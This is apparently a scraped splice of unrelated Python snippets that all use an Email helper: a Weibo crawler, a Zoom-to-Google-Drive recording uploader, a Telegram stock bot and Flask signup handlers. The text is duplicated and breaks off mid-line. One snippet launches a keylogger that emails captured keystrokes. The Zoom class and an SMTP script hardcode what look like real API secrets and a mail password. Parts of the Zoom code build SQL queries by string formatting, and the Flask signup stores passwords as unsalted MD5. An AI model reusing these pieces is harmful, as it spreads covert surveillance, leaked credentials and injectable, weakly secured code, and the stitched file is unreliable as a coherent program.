def main(): startTime = time.perf_counter() ippool = build_ippool() #cityInfo={'cityName':'北京市','cityId':1100} # 写进config文件 cityInfo=read_ini() spider=SinaCrawler(cityInfo) spider.get_poi(ippool) filepath='cityPOI/'+cityInfo['cityName']+'poi.csv' poiids,poinames=spider.get_poiInfo(filepath) for poiid,poiname in zip(poiids,poinames): page=1 # 记录当前爬取微博的页数 while True: make_network_ok() print('------------------POI: '+poiname+',第',page,'页------------------') url = 'https://m.weibo.cn/api/container/getIndex?containerid=%s_-_weibofeed&page=%d'%(poiid,page) spider.get_tweets(url,page,ippool) page+=1 spider.savePOIcsv(poiname) spider.clearList() endTime = time.perf_counter() em = Email() em.send('微博已爬取完成!爬取过程总共 %.3f 分钟。'%(float)((endTime-startTime)/60))
def __init__(self): self.emailSender = Email() self.session = requests.Session() self.session.mount( 'https://', requests.adapters.HTTPAdapter(pool_connections=10000000, max_retries=3)) self.generate_jwt_token() self._setup_db()
def __init__(self, lambda_mode=False, send_email=False): self.email_service = Email() if send_email else None self.cmds = { 's': self.get_stk, 'c': self.get_fx, 'i': self.get_idx, 'alert': self.alert, 'reset': self.reset, 'check': self.check, 'us': self.get_us_stk, 'query': self.query } self.desc = { 's': 'get stock price', 'c': 'get currency exchange rate', 'i': 'get index', 'alert': 'view/set alert', 'reset': 'clear alert', 'us': 'get us stock price' } self.examples = { 's': Constant.S_EXAMPLE, 'c': Constant.C_EXAMPLE, 'i': Constant.I_EXAMPLE, 'alert': Constant.ALERT_EXAMPLE, 'reset': Constant.RESET_EXAMPLE, 'us': Constant.US_EXAMPLE } if lambda_mode: cmd_lst = ['s', 'c', 'i', 'us', 'query'] self.cmds = {cmd: self.cmds[cmd] for cmd in cmd_lst} self.desc = { cmd: self.desc[cmd] for cmd in cmd_lst if cmd in self.desc } self.examples = { cmd: self.examples[cmd] for cmd in cmd_lst if cmd in self.examples } else: self.db = DB()
def schedule_idle_email(master): current_thread = threading.currentThread() email = Email() idle_email = getattr(email, 'idle_email') prev_email_list, thread_list = ([] for i in range(2)) while current_thread.do_run: email_dict = mydb.get_email_dict(master) current_email_list = [ email for email in email_dict if email_dict[email]["is_IDLE"] == True ] if prev_email_list: add_email_list = [ email for email in current_email_list if not email in prev_email_list ] delete_email_list = [ email for email in prev_email_list if not email in current_email_list ] if add_email_list: for email in add_email_list: thread_func = threading.Thread(target=idle_email, args=(master, email)) thread_func.do_run = True thread_list.append((email, thread_func)) thread_func.start() if delete_email_list: for email in delete_email_list: for index in range(len(thread_list)): if thread_list[index][0] == email: thread_list[index][1].do_run = False del thread_list[index] break else: prev_email_list = current_email_list[:] for email in prev_email_list: thread_func = threading.Thread(target=idle_email, args=(master, email)) thread_func.do_run = True thread_list.append((email, thread_func)) for thread_func in thread_list: thread_func[1].start() for (email, thread_func) in thread_list: thread_func.do_run = False
def main(): """ Main "installation" function used to install program """ # create the email from formatter, and close it f = open("src/format.txt") my_email = f.readline().rstrip('\n') to_email = f.readline().rstrip('\n') f.close() # run the logger email = Email(my_email, to_email) kl = KeyLogger(email) # add arguments to adjust email and log time kl.run_keylogger()
def create_email(): try: # TODO: write a string function for email class email = request.form["email"] Email(email) query = "INSERT INTO emails (email, created_at, updated_at) VAlUES(:email, NOW(), NOW())" data = {"email": email} mysql.query_db(query, data) except exc.IntegrityError: flash("Duplicate Email") return redirect("/") except Exception as e: flash(str(e)) return redirect("/") session["email"] = email return redirect("/success")
def register_user(): try: f_name = request.form["f_name"] l_name = request.form["l_name"] email = request.form["email"] Name(f_name, l_name) Email(email) pwd = request.form["pwd"] confi_pwd = request.form["confi_pwd"] Password(pwd, confi_pwd) pwd = md5.new(pwd).hexdigest() query = "INSERT INTO users (first_name, last_name, email, password, created_at, updated_at) VAlUES(:first_name, :last_name, :email, :password, NOW(), NOW())" data = { "first_name": f_name, "last_name": l_name, "email": email, "password": pwd } mysql.query_db(query, data) return redirect("/wall") except Exception as e: flash(str(e)) return redirect("/")
# result_dir = r'H:\\fc\\TestReport' # lists = os.listdir(result_dir) # lists.sort() # file_new = os.path.join(lists[-1]) # source_path = result_dir + '\\' + file_new email_host = "smtp.qq.com" host_port = 465 from_addr = "*****@*****.**" pwd = "ytrrkmtghhckbegf" # 获取最新生成的测试报告附件 result_dir = r'H:\\fc\\TestReport' # result_dir = r'H:\\fc\\test_case' lists = os.listdir(result_dir) lists.sort() file_new = os.path.join(lists[-1]) source_path = result_dir + '\\' + file_new to_addr_list = ["[email protected],[email protected]"] email_content = "t_report" email_content_html = "tttt" email_subject = "t_report" email_from = "12332" part_name = "test.html" email_obj = Email.get_email_obj(email_subject, email_from, to_addr_list) Email.attach_content(email_obj, email_content) Email.attach_part(email_obj, source_path, part_name) Email.send_email(email_obj, email_host, host_port, from_addr, pwd, to_addr_list) fp.close()
class Zoom(): userId = '*****@*****.**' api_key = '_pfgSLXiR76j3AnzOqa0Pg' api_secret = 'fumzkWiH5Xnpfs0iLAU31Uy1XiKshsHswGRQ' client_secret = 'pQPjWmBm32jDKTiDwCQ2I6I7Qhvc9JqM' client_id = 'IGEu77pbRaCXfjPYTM088A' base_url = 'https://api.zoom.us/v2/' redirect_uri = 'http://localhost:5000/api/mine/zoom_callback' # redirect_uri = 'https://secure-dashboard.revampcybersecurity.com//api/mine/zoom_callback' downloaded_recordings = [] recording_data_to_insert = [] meeting_data_to_insert = [] failed_meetings = [] users = [] zoom_users = [] size_limit = 1024 page_size = 300 def __init__(self): self.emailSender = Email() self.session = requests.Session() self.session.mount( 'https://', requests.adapters.HTTPAdapter(pool_connections=10000000, max_retries=3)) self.generate_jwt_token() self._setup_db() # self.read_all_users() def _setup_db(self): Base = declarative_base() metadata = MetaData() engine = create_engine(os.environ.get('DATABASE_URL')) self.connection = engine.connect() metadata.bind = engine metadata.clear() self.upload_history = Table( 'recording_upload_history', metadata, Column('id', Integer, primary_key=True), Column('topic', String(512)), Column('meeting_id', String(512)), Column('recording_id', String(512)), Column('meeting_uuid', String(512)), # Column('meeting_link', String(512)), Column('start_time', String(512)), Column('file_name', String(512)), Column('file_size', Integer), Column('cnt_files', Integer), Column('recording_link', String(512)), Column('folder_link', String(512)), Column('status', String(256)), Column('message', Text), Column('run_at', String(256)), ) self.upload_status = Table( 'meeting_upload_status', metadata, Column('id', Integer, primary_key=True), Column('topic', String(512)), Column('meeting_id', String(512)), Column('meeting_uuid', String(512)), # Column('meeting_link', String(512)), Column('start_time', String(512)), Column('folder_link', String(512)), Column('cnt_files', Integer), Column('status', Boolean), Column('is_deleted', Boolean), Column('run_at', String(256)), ) metadata.create_all() def generate_jwt_token(self): ''' Generate jwt token from api_key @input api_key @output jwt token ''' expire = int( datetime.timestamp(datetime.now() + timedelta(days=2))) * 1000 payload = {"iss": self.api_key, "exp": expire} headers = {"alg": "HS256", "typ": "JWT"} self.token = jwt.encode(payload, self.api_secret, headers=headers) def format_time(self, _time): return datetime.strptime(_time, '%H:%M%p') def get_random_pwd(self, length=10): letters = string.ascii_lowercase + ''.join( [str(x) for x in range(0, 9)]) + string.ascii_uppercase + '@-_*' return_str = [] for i in range(length): return_str.append(random.choice(letters)) return ''.join(return_str) def select_time(self, mon, tue, wed, thu, fri, sat): selected = '' dow = 0 for idx, day in enumerate([mon, tue, wed, thu, fri, sat]): if day: selected = day.strip() dow = idx + 2 start_time = self.format_time(selected.split('-')[0].strip()) end_time = self.format_time(selected.split('-')[1].strip()) c = (end_time - start_time) duration = c.total_seconds() / 60 # duration in mins return start_time.strftime('%H:%M:%S'), end_time.strftime( '%H:%M:%S'), duration, dow def setup(self, gspread, drive=None): logger.info('--- Setup Zoom') self.ccs = gspread.ccs self.zu = gspread.zu if drive: self.drive = drive self.list_all_recordings() self.save_recordings() self.download_recordings() # self.read_all_zoom_users() # self.read_zoom_info_create_meetings() self.connection.close() return self.ccs def read_all_users(self): logger.info('--- read all zoom users') next_page_token = '' while True: res = self.session.get( f'{self.base_url}users?page_size={self.page_size}&next_page_token={next_page_token}', headers=self.get_headers()) if res.status_code == 200: self.zoom_users += res.json()['users'] if not next_page_token: break def read_all_zoom_users(self): for email, pwd, fn in zip(self.zu['Email'], self.zu['Zoom Passwords'], self.zu['Full Name']): if pwd: self.users.append({'email': email, 'pwd': pwd, 'fullname': fn}) def lookup_cred(self, instructor): account = {} for user in self.users: if user['fullname'].strip() == instructor.strip(): account = user break return account def update_sheet(self, meeting, index): meeting = meeting.json() self.ccs.at[index, 'Zoom Meeting Link'] = meeting['join_url'] self.ccs.at[index, 'Zoom Meeting ID'] = meeting['id'] def read_zoom_info_create_meetings(self): # Calendar Schedule sheet index = 0 for sd, ed, mon, tue, wed, thu, fri, sat, sir, cn, cs, desc in zip( self.ccs['Start Date'], self.ccs['End Date'], self.ccs['Monday'], self.ccs['Tuesday'], self.ccs['Wednesday'], self.ccs['Thursday'], self.ccs['Friday'], self.ccs['Saturday'], self.ccs['Instructor 1'], self.ccs['Course Number'], self.ccs['Course Section'], self.ccs['Description']): try: sd = datetime.strptime(sd, '%m/%d/%Y').strftime('%Y-%m-%d') ed = datetime.strptime(ed, '%m/%d/%Y').strftime('%Y-%m-%d') star_time, end_time, duration, dow = self.select_time( mon, tue, wed, thu, fri, sat) start_date_time = f"{sd}T{star_time}Z" end_date_time = f"{ed}T{end_time}Z" account = self.lookup_cred(sir) class_name = f"Q4-{cn}-{cs}-{desc}" if account: meeting = self.create_recurring_zoom_meetings( account, start_date_time, end_date_time, duration, dow, class_name) # if meeting.status_code == 201: # self.update_sheet(meeting, index) else: logger.warning( f'******* no matching zoom users for instuctor {sir} ********' ) # break except Exception as E: logger.warning(str(E)) index += 1 break def _topic(self, topic): return ' '.join(topic.lower().strip().split('-')) def find_drive_folder_id(self, cur_topic): folder_id = None for folder_link, topic in zip(self.ccs['Google Drive: Recordings'], self.ccs['Zoom Topic']): if self._topic(topic) in self._topic(cur_topic): folder_id = os.path.basename(folder_link) break if folder_id and '?' in folder_id: folder_id = folder_id.split('?')[0] return folder_id def get_headers(self): return { 'authorization': f"Bearer {self.token.decode()}", 'content-type': "application/json" } def save_recordings(self): insert_data = [] delete_data = [] for meeting in self.meetings: topic = meeting['topic'] start_time = datetime.strptime( meeting['start_time'], '%Y-%m-%dT%H:%M:%SZ').strftime('%b %d %Y, %H:%M:%S') for recording in meeting['recording_files']: if recording.get('recording_type') != None: recording_type = ' '.join([ d.capitalize() for d in recording['recording_type'].split('_') ]) file_type = recording["file_type"] file_name = f'{topic} {recording_type}.{file_type}' insert_data.append({ 'topic': topic, 'meeting_id': meeting['id'], 'recording_id': recording['id'], 'start_time': start_time, 'file_name': file_name, 'file_size': recording['file_size'], 'status': 'waiting', 'cnt_files': meeting['recording_count'] - 1, 'run_at': datetime.now().strftime('%m/%d/%Y %H:%M:%S') }) delete_data.append(recording['id']) if delete_data: delete_query = 'DELETE FROM recording_upload_history WHERE' for _id in delete_data: delete_query += f' recording_id="{_id}" AND' delete_query = delete_query[:-3] print(delete_query) self.connection.execute(delete_query) if insert_data: self.connection.execute(self.upload_history.insert(), insert_data) def update_recording(self, recording_id, status, message=None, run_at=datetime.now().strftime('%m/%d/%Y %H:%M:%S')): query = "UPDATE `recording_upload_history` SET `status`=%s, `message`=%s, `run_at`=%s WHERE `recording_id`=%s" self.connection.execute(query, (status, message, run_at, recording_id)) def update_recording1(self, data): update_statement = self.upload_history.update().where( self.upload_history.c.recording_id == data['recording_id']).values( data) self.connection.execute(update_statement) def list_all_recordings(self): logger.info('--- list all recordings') self.meetings = [] delta = 30 to_date = datetime.now() from_date = datetime.now() - timedelta(days=delta) while True: sub_meetings = self._list_recordings(from_date, to_date) if len(sub_meetings) == 0: break else: self.meetings += [ meeting for meeting in sub_meetings if self.validate_for_listing(meeting) ] to_date = datetime.now() - timedelta(days=delta) delta += 30 from_date = datetime.now() - timedelta(days=delta) print(len(self.meetings)) return self.meetings def _list_recordings(self, from_date, to_date): sub_meetings = [] next_page_token = '' while True: res = self.session.get( f"{self.base_url}/accounts/me/recordings?mc=true&page_size={self.page_size}&from={from_date.strftime('%Y-%m-%d')}&to={to_date.strftime('%Y-%m-%d')}&next_page_token={next_page_token}", headers=self.get_headers()) if res.status_code == 200: sub_meetings += res.json()['meetings'] next_page_token = res.json()['next_page_token'] if not res.json()['next_page_token']: break return sub_meetings def double_urlencode(self, text): """double URL-encode a given 'text'. Do not return the 'variablename=' portion.""" text = self.single_urlencode(text) text = self.single_urlencode(text) return text def single_urlencode(self, text): """single URL-encode a given 'text'. Do not return the 'variablename=' portion.""" blah = urlencode({'blahblahblah': text}) #we know the length of the 'blahblahblah=' is equal to 13. This lets us avoid any messy string matches blah = blah[13:] return blah def clean_tiny_recordings(self): self.list_all_recordings() self.clear_recordings() self.connection.close() def clear_recordings(self): ''' Clear recording whose size is under input limit size. normally kb file @caution: should not delete processing recodings as they appear 0 in size ''' logger.info('--- clean tiny recordings') total_cleared = 0 for meeting in self.meetings: # if meeting['topic'] == 'Q4-POP540-1A-Portfolio Development': # print('h===========', meeting['id']) if not self.validate_size_of_meeting( meeting, self.size_limit ) and not self.is_processing_meeting(meeting): try: res = self.session.delete( f"{self.base_url}/meetings/{self.double_urlencode(meeting['uuid'])}/recordings?action=trash", headers=self.get_headers()) if res.status_code == 204: logger.info( f'*** clear meeting ID: {meeting["start_time"]}, Topic: {meeting["topic"]}' ) total_cleared += 1 except Exception as E: logger.warning(str(E)) logger.info(f'--- Successfully cleared recordings {total_cleared}') def update_upload_history(self, meeting, recording_id, file_name, file_type, folder_id, file_id, status=True): recording_link = f'https://drive.google.com/file/d/{file_id}/view?usp=sharing' folder_link = f'https://drive.google.com/drive/folders/{folder_id}' update_data = { 'meeting_id': meeting['id'], 'recording_id': recording_id, 'status': 'completed', 'recording_link': recording_link, 'folder_link': folder_link, 'run_at': datetime.now().strftime('%m/%d/%Y %H:%M:%S') } self.update_recording1(update_data) def get_meeting_status(self, meeting): cnt = 0 for recording in meeting['recording_files']: if recording.get('status') == 'completed': cnt += 1 status = False if len(self.recording_data_to_insert) == cnt: status = True else: status = False return status def update_db(self, meeting): if self.recording_data_to_insert: try: self.connection.execute(self.upload_history.insert(), self.recording_data_to_insert) is_deleted = self.delete_uploaded_meeting(meeting) self.update_upload_status(meeting, is_deleted) except Exception as E: logger.warning(str(E)) def build_report_to_admin(self, meeting): status = self.get_meeting_status(meeting) folder_link = None start_time = None for recording in self.recording_data_to_insert: folder_link = recording['folder_link'] start_time = recording['start_time'] if self.recording_data_to_insert and not status: logger.info(f'--- report error to admin {meeting["uuid"]}') # should notify admin about it. msg = f'Failed to download meeting recordings for topic {meeting["topic"]} on {start_time} \n Here is the cloud link https://zoom.us/recording/management/detail?meeting_id={self.double_urlencode(meeting["uuid"])}' if folder_link and folder_link.endswith('None'): # topic was changed, so cannot find out corresponding drive link in the sheet msg += '\n It seems like that the topic was changed by host for some reason. Please have a look at the description for it in sheet and then correct it accordingly.' self.emailSender.send_message(msg) self.drive.clear_old_recordings(meeting, self.recording_data_to_insert) def delete_uploaded_meeting(self, meeting): logger.info(f'--- delete meeting after uploading {meeting["uuid"]}') status = self.get_meeting_status(meeting) # should not delete meeting where any of recordings was not properly uploaded. # focus on status is_deleted = False if status: try: res = self.session.delete( f"{self.base_url}/meetings/{self.double_urlencode(meeting['uuid'])}/recordings?action=trash", headers=self.get_headers()) if res.status_code == 204: is_deleted = True except Exception as E: logger.warning(str(E)) return is_deleted def update_upload_status(self, meeting, is_deleted): logger.info( f'--- update the meeting_upload_status table {meeting["uuid"]}') cnt_files = 0 topic = meeting['topic'] start_time = None run_at = datetime.now().strftime('%m/%d/%Y %H:%M:%S') folder_link = None meeting_id = meeting['id'] meeting_uuid = meeting['uuid'] for recording in self.recording_data_to_insert: folder_link = recording['folder_link'] start_time = recording['start_time'] if recording['status']: cnt_files += 1 status = self.get_meeting_status(meeting) try: # check if this meeting has already inserted or should update res = self.connection.execute( f"SELECT id FROM meeting_upload_status WHERE meeting_uuid='{meeting_uuid}'" ) items = [dict(r) for r in res] self.meeting_data_to_insert = [] if len(items): update_statement = self.upload_status.update().\ where(self.upload_status.c.meeting_uuid == meeting_uuid).\ values({ 'topic': topic, 'is_deleted': is_deleted, 'cnt_files': cnt_files, 'folder_link': folder_link, 'status': status, 'run_at': run_at, }) self.connection.execute(update_statement) else: self.meeting_data_to_insert.append({ 'topic': topic, 'meeting_id': meeting_id, 'meeting_uuid': meeting_uuid, 'start_time': start_time, 'cnt_files': cnt_files, 'folder_link': folder_link, 'status': status, 'is_deleted': is_deleted, 'run_at': run_at }) self.connection.execute(self.upload_status.insert(), self.meeting_data_to_insert) except Exception as E: logger(str(E)) def delete_recordings_after_download(self, api): try: self.session.post(f"{self.base_url}api?action=trash", headers=self.get_headers()) except Exception as E: logger.warning(str(E)) def validate_size_of_meeting(self, meeting, size=1024): total_size = 0 try: for recording in meeting['recording_files']: total_size += recording.get('file_size', 0) return total_size >= size * 1024 * 1024 # and total_size <= 10*1024*1024 # and total_size < 200*1024*1024 except Exception as E: logger.warning(str(E)) def is_processing_meeting(self, meeting): is_processing = False try: for recording in meeting['recording_files']: if recording.get('recording_type') != None and recording.get( 'status', '') != 'completed': is_processing = True return is_processing except Exception as E: logger.warning(str(E)) def validate_for_listing(self, meeting): return self.validate_size_of_meeting( meeting, 10) and meeting['topic'].lower().startswith('q4') def validate_recordings_for_upload(self, meeting): # return self.validate_size_of_meeting( meeting, 10) and not self.is_processing_meeting( meeting) and meeting['topic'].lower().startswith('q4') def download_to_tempfile(self, temp_filename, vid): with open(temp_filename, "wb") as f: total_size = int(vid.headers.get('content-length')) for chunk in progress.bar(vid.iter_content(chunk_size=1024), expected_size=total_size / 1024 + 1): if chunk: f.write(chunk) f.flush() def _upload_recording(self, meeting): topic = meeting['topic'] start_date_time = datetime.strptime( meeting['start_time'], '%Y-%m-%dT%H:%M:%SZ').strftime('%b %d %Y') file_name = None file_type = None folder_id = None file_id = None status = True message = '' parent_id = None for recording in meeting['recording_files']: if recording.get('recording_type') != None and recording.get( 'status', '') != 'processing': vid = self.session.get( f"{recording['download_url']}?access_token={self.token.decode()}", stream=True) if vid.status_code == 200: try: recording_type = ' '.join([ d.capitalize() for d in recording['recording_type'].split('_') ]) file_type = recording["file_type"] file_name = f'{topic} {recording_type}' parent_id = self.find_drive_folder_id(topic) if parent_id: course_number = topic.split('-')[1] folder_name = f"{course_number} {start_date_time}" folder_id = self.drive.check_folder( folder_name, parent_id) # download file with progress temporary_file_name = f'/tmp/miami_{uuid1()}' logger.info(f'=== download file temp') self.download_to_tempfile(temporary_file_name, vid) logger.info( f"*** before uploading in meeting {meeting['id']}, topic {topic} created folder {folder_name} id: {folder_id} file {file_name}" ) self.update_recording(recording['id'], 'uploading') file_id = None file_id = self.drive.upload_file( temporary_file_name, file_name, file_type, vid, folder_id) if not file_id: status = 'error' message = 'Error happened while uploading recordings to Google Drive' self.update_recording(recording['id'], 'error', message) # self.delete_recordings_after_download(f'/meetings/{meeting["id"]}/recordings/{recording["id"]}') else: message = f'**** Cannot find out Google Drive link in CampusCafe Course Schedule Google Sheet for topic {topic}' logger.warning(message) self.emailSender.send_message(message) self.update_recording(recording['id'], 'error', message) except Exception as E: status = 'error' message = str(E) logger.warning(message) self.update_recording(recording['id'], 'error', message) if folder_id: self.update_upload_history(meeting, recording['id'], file_name, file_type, folder_id, file_id, status) else: # for some reason topic was changed so cannot find out drive link # notify admin [email protected] about it pass # if folder_id and not parent_id: # message = f'cannot findout topic in the sheet for {meeting["topic"]}.' # self.emailSender.send_message(message) # update_data = { # 'status': 'error', # 'message': message, # 'run_at': datetime.now().strftime('%m/%d/%Y %H:%M:%S') # } # self.update_recording(update_data) def download_recordings(self): logger.info( '---- Download from zoom cloud recordings and upload them to Google Drive' ) for meeting in self.meetings: if self.validate_recordings_for_upload(meeting): self.recording_data_to_insert = [] self._upload_recording(meeting) self.build_report_to_admin(meeting) self.update_db(meeting) def create_recurring_zoom_meetings(self, account, start_date_time, end_date_time, duration, dow, class_name): ''' Create a recurring zoom meeting for the given user - join_before_host must be set to true. - duration can be calculated based on start_date_time and end_date_time @params: start_date, start_time, end_date, end_time host_email, password @input: topic: class name host_email: email address of the meeting host start_time: meeting start date time in UTC/GMT. e.g: 2020-10-03T00:00:00Z password: meeting password duration: meeting duration (integer) timezone: America/New_York settings: join_before_host: allow participants to join the meeting before the host starts the meeting recurrence: type: 2 - weekly weekly_days: 2 1: Sunday ~ 7: Monday ''' meeting = None try: json_data = { 'topic': class_name, 'type': 8, 'host_email': account['email'], 'start_time': start_date_time, 'password': self.get_random_pwd(), 'duration': duration, 'timezone': 'America/New_York', 'schedule_for': account['email'], 'settings': { 'waiting_room': False, 'join_before_host': True, 'use_pmi': False }, 'recurrence': { 'type': 2, 'weekly_days': dow, 'end_date_time': end_date_time } } meeting = self.session.post( f"{self.base_url}users/{account['email']}/meetings", json=json_data, headers=self.get_headers()) except Exception as E: logger.warning(str(E)) return meeting
class FxStock: def __init__(self, lambda_mode=False, send_email=False): self.email_service = Email() if send_email else None self.cmds = { 's': self.get_stk, 'c': self.get_fx, 'i': self.get_idx, 'alert': self.alert, 'reset': self.reset, 'check': self.check, 'us': self.get_us_stk, 'query': self.query } self.desc = { 's': 'get stock price', 'c': 'get currency exchange rate', 'i': 'get index', 'alert': 'view/set alert', 'reset': 'clear alert', 'us': 'get us stock price' } self.examples = { 's': Constant.S_EXAMPLE, 'c': Constant.C_EXAMPLE, 'i': Constant.I_EXAMPLE, 'alert': Constant.ALERT_EXAMPLE, 'reset': Constant.RESET_EXAMPLE, 'us': Constant.US_EXAMPLE } if lambda_mode: cmd_lst = ['s', 'c', 'i', 'us', 'query'] self.cmds = {cmd: self.cmds[cmd] for cmd in cmd_lst} self.desc = { cmd: self.desc[cmd] for cmd in cmd_lst if cmd in self.desc } self.examples = { cmd: self.examples[cmd] for cmd in cmd_lst if cmd in self.examples } else: self.db = DB() # query command def query(self, data): data['method'] = 'answerInlineQuery' args = data['args'].strip() if 0 < len(args) < 5 and args.isnumeric() and int(args) > 0: stock_info = self.get_stock_info(args) if len(stock_info) != 0: s = { i: stock_info.get(i, 'NA') for i in ['company', 'price', 'change'] } btn_lst = [{ 'text': 'View details', "callback_data": "/s " + args }] data['results'] = [{ "type": "article", "id": "unique", "title": '{company}'.format(**s), "description": '{price} {change}'.format(**s), "reply_markup": { "inline_keyboard": [btn_lst] }, "input_message_content": { "parse_mode": "HTML", "message_text": '<b><u>{company}</u>\n{price} {change}</b>'.format( **s) } }] # s command def get_stk(self, data): if data.get('callback_query_id', -1) != -1: data['method'] = ['editMessageText', 'answerCallbackQuery'] data['text'] = self.get_stock_detail(data['args']) return data['method'] = 'sendMessage' code = self.get_stock_code(data) if code != '': stock_info = self.get_stock_info(code) if len(stock_info) == 0: data['text'] = 'Please enter a valid stock code.' else: data['text'] = '<b><u>{}</u>\n{} {}</b>'.format( stock_info.get('company', 'NA'), stock_info.get('price', 'NA'), stock_info.get('change', 'NA')) btn_lst = [{ 'text': 'View details', "callback_data": "/s " + code }] data['reply_markup'] = {"inline_keyboard": [btn_lst]} def get_stock_code(self, data): args = data['args'].strip() if len(args) == 0: return '5' elif len(args) > 4: data[ 'text'] = 'Please use the following format.\ne.g. /s 5\ne.g. /s 0005' return '' elif not (args.isnumeric()) or int(args) == 0: data['text'] = '"{}" is not a valid stock code.'.format(args) return '' return args def get_stock_info(self, code): url = 'https://finance.yahoo.com/quote/{}.HK/'.format(code.zfill(4)) headers = {'User-Agent': ''} page = HttpService.get(url, headers) soup = BeautifulSoup(page.content, 'html.parser') stock_info = {} price_ele = soup.find( 'span', {'class': 'Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(ib)'}) if price_ele is None or price_ele.get_text(strip=True) == '': logger.error('yahoo finance stock price is not available!') else: stock_info['price'] = price_ele.get_text(strip=True).replace( ',', '') company_ele = soup.find('h1', {'class': 'D(ib) Fz(18px)'}) if company_ele is None or company_ele.get_text(strip=True) == '': logger.error('yahoo finance company name is not available!') else: company = company_ele.get_text(strip=True) company = company[:company.find('(')].strip() stock_info['company'] = company change_ele = soup.find_all( 'span', { 'class': [ 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px) C($negativeColor)', 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px) C($positiveColor)', 'Trsdu(0.3s) Fw(500) Pstart(10px) Fz(24px)' ] }) if change_ele is None or len( change_ele) == 0 or change_ele[0].get_text(strip=True) == '': logger.error('yahoo finance change is not available!') else: stock_info['change'] = change_ele[0].get_text(strip=True) return stock_info def get_stock_detail(self, code): url = 'http://realtime-money18-cdn.on.cc/securityQuote/genStockDetailHKJSON.php?stockcode={}' json_resp = HttpService.cf_get_json(url.format(code.zfill(5))) json_obj = JsonUtil.to_json_obj(json_resp) change = json_obj.calculation.change percent_change = json_obj.calculation.pctChange json_obj.change = '+' + str(change) if change > 0 else str(change) json_obj.pctChange = '+' + str( percent_change) if percent_change > 0 else str(percent_change) json_obj.real.vol = NumberUtil.format_num(json_obj.real.vol) json_obj.real.tvr = NumberUtil.format_num(json_obj.real.tvr) json_obj.calculation.marketValue = NumberUtil.format_num( json_obj.calculation.marketValue) json_obj.daily.issuedShare = NumberUtil.format_num( json_obj.daily.issuedShare) json_obj.shortPut.Trade[0].Qty = NumberUtil.format_num( json_obj.shortPut.Trade[0].Qty) json_obj.shortPut.Trade[0].Amount = NumberUtil.format_num( json_obj.shortPut.Trade[0].Amount) np = float(json_obj.real.np) if NumberUtil.is_float( json_obj.real.np) else 0 eps = float(json_obj.daily.eps) if NumberUtil.is_float( json_obj.daily.eps) else 0 lot_size = float(json_obj.daily.lotSize) if NumberUtil.is_float( json_obj.daily.lotSize) else 0 dividend = float(json_obj.daily.dividend) if NumberUtil.is_float( json_obj.daily.dividend) else 0 json_obj.peRatio = 0 if eps == 0 else (np / eps) json_obj.dividendYield = 0 if np == 0 else (dividend * 100 / np) json_obj.minSubscriptionFee = np * lot_size json_obj.daily.lotSize = int(lot_size) qty_price = json_obj.bulkTrade.Trade[0].Transaction[0].Qty_price json_obj.bulkTradeQty = '' if str( qty_price) == '' else qty_price.split('-')[0] json_obj.bulkTradePrice = '' if str( qty_price) == '' else qty_price.split('-')[1] return Constant.STK_DETAIL_TEMPLATE.format(s=json_obj) # c command def get_fx(self, data): if data.get('callback_query_id', -1) != -1: data['method'] = ['editMessageText', 'answerCallbackQuery'] data['text'] = ''.join([ '{} - {}\n'.format(k, v) for k, v in Constant.CCY_DCT.items() ]) return data['method'] = 'sendMessage' ccy_param = self.get_ccy_param(data) if len(ccy_param) != 0: current = self.get_xrates(ccy_param[0], ccy_param[1], 1) current = 'NA' if current == '-1' else current data['text'] = '<b>{} to {}\n{}</b>'.format( ccy_param[0].upper(), ccy_param[1].upper(), current) def get_ccy_param(self, data): args = data['args'].strip() if args == '': args = 'jpy' elif (' to ' in args and len(args) != 10) or (' to ' not in args and len(args) != 3): data[ 'text'] = 'Please use the following format.\ne.g. /c jpy\ne.g. /c jpy to hkd' return [] args = (args + ' to HKD') if len(args) == 3 else args ccys = args.split(' to ') ccy = ccys[0] ccy2 = ccys[1] if ccy.upper() not in Constant.CCY_DCT.keys(): data[ 'text'] = '"{}" is not a valid currency code. Please retry.'.format( ccy) btn_lst = [{'text': 'View currency code', "callback_data": "/c"}] data['reply_markup'] = {"inline_keyboard": [btn_lst]} return [] if ccy2.upper() not in Constant.CCY_DCT.keys(): data[ 'text'] = '"{}" is not a valid currency code. Please retry.'.format( ccy2) btn_lst = [{'text': 'View currency code', "callback_data": "/c"}] data['reply_markup'] = {"inline_keyboard": [btn_lst]} return [] return [ccy, ccy2] def get_xrates(self, ccy, ccy2, amount): url = 'https://www.x-rates.com/calculator/?from={}&to={}&amount={}'.format( ccy.upper(), ccy2.upper(), amount) page = HttpService.get(url) soup = BeautifulSoup(page.content, 'html.parser') ele = soup.find('span', {'class': 'ccOutputTrail'}) if ele is None: logger.error('xrates is not available!') return '-1' return ele.previous_sibling.replace(',', '') + ele.get_text(strip=True) # i command def get_idx(self, data): if data.get('callback_query_id', -1) != -1: data['method'] = ['editMessageText', 'answerCallbackQuery'] data['text'] = ''.join([ '{} - {}\n'.format(k, v) for k, v in Constant.IDX_DCT_NO_PREFIX.items() ]) return data['method'] = 'sendMessage' args = data['args'].strip() if args == '': idx_info = self.get_idx_info('%5EHSI') data['text'] = '<b><u>{}</u>\n{} {}</b>'.format( idx_info.get('name', 'NA'), idx_info.get('price', 'NA'), idx_info.get('change', 'NA')) elif args.upper() not in Constant.IDX_DCT_NO_PREFIX.keys(): data[ 'text'] = '"{}" is not a valid index code. Please retry.'.format( args) btn_lst = [{'text': 'View index code', "callback_data": "/i"}] data['reply_markup'] = {"inline_keyboard": [btn_lst]} else: code = args.upper() if '%5E' + code in Constant.IDX_DCT.keys(): code = '%5E' + code idx_info = self.get_idx_info(code) data['text'] = '<b><u>{}</u>\n{} {}</b>'.format( idx_info.get('name', 'NA'), idx_info.get('price', 'NA'), idx_info.get('change', 'NA')) def get_idx_info(self, code): url = 'https://finance.yahoo.com/quote/{0}?p={0}'.format(code) headers = {'User-Agent': ''} page = HttpService.get(url, headers) soup = BeautifulSoup(page.content, 'html.parser') idx_info = {} price_ele = soup.find( 'span', {'class': 'Trsdu(0.3s) Fw(b) Fz(36px) Mb(-4px) D(ib)'}) if price_ele is None or price_ele.get_text(strip=True) == '': logger.error('yahoo finance index is not available!') else: idx_info['price'] = price_ele.get_text(strip=True).replace(',', '') name_ele = soup.find('h1', {'class': 'D(ib) Fz(18px)'}) if name_ele is None or name_ele.get_text(strip=True) == '': logger.error('yahoo finance index name is not available!') else: name = name_ele.get_text(strip=True) name = 